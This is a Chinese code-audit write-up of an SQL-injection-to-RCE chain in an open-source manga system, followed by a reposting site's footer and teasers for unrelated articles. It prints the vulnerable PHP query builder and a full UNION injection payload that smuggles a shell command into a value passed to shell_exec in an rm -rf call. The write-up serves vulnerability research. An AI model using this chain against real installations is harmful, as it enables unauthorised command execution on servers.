某開源漫畫系統RCE代碼審計

免責聲明

本文檔所述漏洞詳情及復現方法僅限用于合法授權的安全研究和學術教育用途。任何個人或組織不得利用本文內容從事未經許可的滲透測試、網絡攻擊或其他違法行為。使用者應確保其行為符合相關法律法規,并取得目標系統的明確授權。
對于因不當使用本文信息而造成的任何直接或間接后果,作者概不負責。若您發現本文內容涉及侵權或不當信息,請及時聯系我們,我們將立即核實并采取必要措施。

源代碼如下

源代碼如下

獲取參數mangaId,跟進dosql方法

function dosql($params)
{global $gIp;global $gUserName;global $gPassWord;global $gDatabase;#輸出所有錯誤信息error_reporting(E_ALL);ini_set('display_errors', '1');#將出錯信息輸出到一個文本文件ini_set('error_log', dirname(__FILE__) . '/mysql_error.txt');#設置默認值$ip = @getValue($params['ip'], $gIp);$username = @getValue($params['username'], $gUserName);$password = @getValue($params['password'], $gPassWord);$database = @getValue($params['database'], 'smanga');$port = @getValue($params['port'], $gPort);$type = @getValue($params['type'], 'select');$name = @getValue($params['name'], '*');$where = @getValue($params['where'], array());$group = @getValue($params['group'], '');$field = @getValue($params['field'], array());$value = @getValue($params['value'], array());$limit = @getValue($params['limit'], '');$start = @getValue($params['start'], '');$order = @getValue($params['order'], '');$desc = @getValue($params['desc'], '');$keyword = @getValue($params['keyword'], '');$test = @getValue($params['test'], false);$charset = @getValue($params['charset'], 'utf8');#鏈接mysqlif (isset($params['link'])) {$link = $params['link'];} else {$link = @mysqli_connect($ip, $username, $password, $database, $port)or die("數據庫連接失敗!失敗信息:" . mysqli_connect_error($link));}#設置數據庫// @mysqli_select_db($link,$database,);#設置數據編碼mysqli_set_charset($link, 'utf8mb4') or die("數據庫編碼集設置失敗!");#獲取數據表名。如獲取失敗,則返回錯誤if (isset($params['table'])) {$table = $params['table'];} else {echo "表名(table)不能為空!";exit;}$where = to_array($where);$field = to_array($field);$value = to_array($value);$name = to_string($name);$table = to_string($table);#判別操作類型switch ($type) {case 'insert':$request = insert($link, $table, $field, $value, $test);break;case 'delete':$request = delete($link, $table, $where, $test);break;case 'select':$request = select($link, $name, $table, $where, $group, $order, $desc, $limit, $start, $test);break;case 'update':$request = update($link, $table, $where, $field, $value, $test);break;case 'search':$request = search($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;case 'getcount':$request = getcount($link, $table, $where, $group, $test);break;case 'getnum':$request = getnum($link, $name, $table, $where, $group, $test);break;case 'searchcount':$request = search_count($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;default:# code...break;}#返回數據return $request;#關閉數據庫連接mysqli_close($link);#結束執行exit;
}

大致意識給各種SQL執行相關的變量賦值

比如這里的type沒有賦值的情況下,默認就是select,name沒有賦值的情況下就是*,我們看看select分支

看一下where參數的控制,跟進select方法

where變量被傳入了where方法,更近where方法,就是將where數組中的變量取出,用and進行拼接,由于傳入的參數mangaId用戶可控,所以這里存在SQL注入

來看看這里RCE成因

首先來看看我們構造的參數mangaId使用union注入如下惡意SQL時,會返回一條數據

所以聯合注入如上SQL,會按照聯合注入的原理會返回一條數據

完整的SQL如下

select * from manga where mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;

接著我們繼續看入口的代碼

執行完dosql之后,返回數據保存在$mangaPathRes變量中,首先判斷$mangaPathRes變量中是否保存有數據,沒有數據直接返回,隨后判斷可控變量deleteFile是否為ture,為ture進入if邏輯,首先從$mangaPathRes中獲取返回數據mangaPath,隨后直接傳入shell_exec方法

接著我們分析數據表,從數據庫構建表的過程中可以看到表manga存在12列,其中低5列名為mangaPath

由于前邊的SQL注入,返回的第五列數據如下

所以這個時候傳入shell_exec的參數就是";echo `whoami` > 1.txt;"

完整的執行語句

rm -rf "";echo `whoami` > 1.txt;"",導致命令執行

測試如下

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95831.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95831.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95831.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Pandas DataFrame 指南

📊 Pandas DataFrame 常用操作代碼示例 下面用表格匯總了 DataFrame 的常用操作,方便你快速查閱和實踐。 操作類別代碼示例說明(簡要)數據讀取df pd.read_csv(data.csv)讀取 CSV 文件df pd.read_excel(data.xlsx, sheet_nameS…

React學習教程,從入門到精通, React 樣式語法知識點與案例詳解(13)

React 樣式語法知識點與案例詳解 作為React初學者,掌握樣式語法是構建美觀UI的關鍵。本文將詳細介紹React中所有主要的樣式方法,并提供詳細注釋的案例代碼。 一、React樣式語法知識點總覽 1. 行內樣式 (Inline Styles) 使用style屬性,值為Jav…

Proxychains 配置全解析:從入門到高級應用

引言 在數字時代,網絡隱私與安全至關重要。無論是繞過地理限制訪問內容,還是在滲透測試中隱藏蹤跡,代理工具都不可或缺。Proxychains(或稱 Proxychains-NG)作為一款經典的開源代理鏈工具,以其高效靈活的特性…

二叉樹的前中后序遍歷(迭代法)

目錄 題目鏈接: 題目: 解題思路: 代碼: 前序遍歷: 中序遍歷: 后序遍歷: 總結: 題目鏈接: 144. 二叉樹的前序遍歷 - 力扣(LeetCode) 94. …

redis的數據類型:string

文章目錄String類型介紹redis采用的字符集json類型介紹String類型的命令set key value [EX seconds] [NX|XX]incr keyincr對操作的key對應的value類型有限制嗎?incr key操作的返回值是什么?incr操作的key可以不存在嗎?多個客戶端同時針對同…

傳統神經網絡實現-----手寫數字識別(MNIST)項目

完整代碼:# import torch # print(torch.__version__)#1.X 1、驗證安裝的開發環境是否正確, MNIST包含70,000張手寫數字圖像: 60,000張用于訓練,10,000張用于測試。 圖像是灰度的,28x28像素的,并且居中的&#xff…

工業機器人標桿的數字化突圍,珞石機器人如何以CRM實現業務重塑

在智能制造浪潮下,工業機器人行業正迎來快速增長。作為國內領先的機器人制造商,珞石機器人面對業務規模的迅速擴張,意識到傳統的管理方式已無法滿足企業發展需求,急需通過數字化升級破解管理難題。因此珞石機器人選擇引入紛享銷客…

NVIDIA GPU的指令集詳細介紹

這是一個非常核心且深入的話題。GPU的指令集架構(Instruction Set Architecture, ISA)是理解GPU如何工作的關鍵,它直接體現了GPU為大規模并行計算而生的設計哲學。下面我將詳細、全面地介紹GPU的指令集。 第一部分:核心哲學 —— …

Day 17: 3D點云深度學習專項 - 理論深度與面試精通之路

Day 17: 3D點云深度學習專項 - 理論深度與面試精通之路 ?? 學習目標:深度理解3D點云核心理論,獲得該領域面試入場券 ? 預計用時:6小時 (理論深度4h + 面試準備2h) ?? 教學特色:理論優先 + 概念深度 + 面試導向 + 行業認知 ?? 今日學習大綱 1. 點云AI的理論基礎:幾何…

【經濟學】量化模型TradingAgents 工具集成層與數據(財報+ 基本信息指標+基本面分析)+ChromaDB 客戶端+財務情況記憶庫

文章目錄Toolkit 作用Toolkit 逐函數解析1. 獲取默認配置2. update_config3. config4. __init__5. get_reddit_news6. get_finnhub_news7. get_reddit_stock_info8. get_chinese_social_sentiment9. get_finnhub_company_insider_sentiment10. get_YFin_data11. get_YFin_data_…

Uni-App + Vue onLoad與onLaunch執行順序問題完整解決方案 – 3種實用方法詳解

導讀:在 Uni-app Vue 小程序應用開發中,你是否遇到過頁面加載時全局數據還未準備好的問題?本文將深入分析onLoad生命周期鉤子在onLaunch未完成時就執行的常見問題,并提供三種實用的解決方案。 📋 問題描述 在 Vue 應…

25、SSH遠程部署到另一臺機器

25、SSH遠程部署到另一臺機器 因為不是每一臺服務器都有jenkins的,一般都是一臺jenkins,部署很多機器 1、安裝插件 Publish Over SSH2、配置另一臺機器 # 生成秘鑰 ssh-keygen -t dsa# 把公鑰復制到要訪問的機器 ssh-copy-id root目標機器的ip# 第一次要…

2025年金融專業人士職業認證發展路徑分析

在金融行業數字化轉型的背景下,專業認證作為提升個人能力的一種方式,受到越來越多從業者的關注。本文基于行業發展趨勢,分析6個金融相關領域的專業資格認證,為職業發展提供參考。一、CDA數據分析師認證含金量CDA數據分析師是數據領…

日用百貨新零售小程序設計與開發(代碼+數據庫+LW)

摘要 本文設計并開發了一款基于Java、Spring Boot和MySQL的日用百貨新零售小程序,旨在通過數字化手段優化日用百貨的銷售與配送流程,滿足用戶便捷購物的需求。系統采用前后端分離架構,前端通過微信小程序實現用戶交互,后端基于Sp…

【Git】查看差異 刪除文件 忽略文件

- 第 122 篇 - Date: 2025 - 09 - 07 Author: 鄭龍浩(仟墨) 文章目錄查看差異 && 刪除文件 && 忽略文件1 git diff 可以查看哪些?基本用法比較不同提交比較分支文件比較其他2 徹底刪除文件3 忽略文件「1」應該忽略哪些文件&a…

HarmonyOS應用開發:三層工程架構

引言 在HarmonyOS應用開發過程中,隨著項目規模的增長,代碼的組織結構顯得尤為重要。 DevEco Studio創建出的默認工程僅包含一個entry類型的模塊,如果直接使用平級目錄進行模塊管理,工程邏輯結構較混亂且模塊間的一欄關系不夠清晰&…

phpMyAdmin文件包含漏洞復現:原理詳解+環境搭建+滲透實戰(windows CVE-2018-12613)

目錄 一、CVE-2018-12613漏洞 1、漏洞簡介 2、漏洞原理 (1)漏洞觸發點與正常邏輯 (2)過濾邏輯缺陷與繞過方式 二、滲透準備 1、訪問phpmyadmin靶場 2、登錄phpmyadmin 3、獲取session文件位置 三、滲透準備 1、讀取敏感…

Jakarta EE(基于 JPA)在 IntelliJ IDEA 中開發簡單留言板應用的實驗指導

Jakarta EE(基于 JPA)在 IntelliJ IDEA 中開發簡單留言板應用的實驗指導摘要:Jakarta EE 并不僅限于使用 H2 數據庫,它支持任何符合 JDBC 或 JPA 標準的數據庫,例如 MySQL、PostgreSQL、Oracle 等。H2 通常用于開發測試…

Gitea:輕量級的自托管Git服務

歡迎光臨我的個人博客查看最新文章:rivers blog 在當今的軟件開發世界中,代碼托管平臺是必不可少的工具。而對于尋求自主控制和數據隱私的團隊與開發者來說,Gitea提供了一個完美的解決方案。 1、 Gitea簡介 Gitea(發音為ɡ??ti…

深度學習-----簡單入門卷積神經網絡CNN的全流程

(一)卷積神經網絡(CNN)的核心思想傳統全連接網絡的缺陷圖像平鋪展開后,旋轉或位置變化會導致輸入差異大,難以識別舉例:手寫數字“8”在不同位置或旋轉后的識別困難(圖像在計算機中是…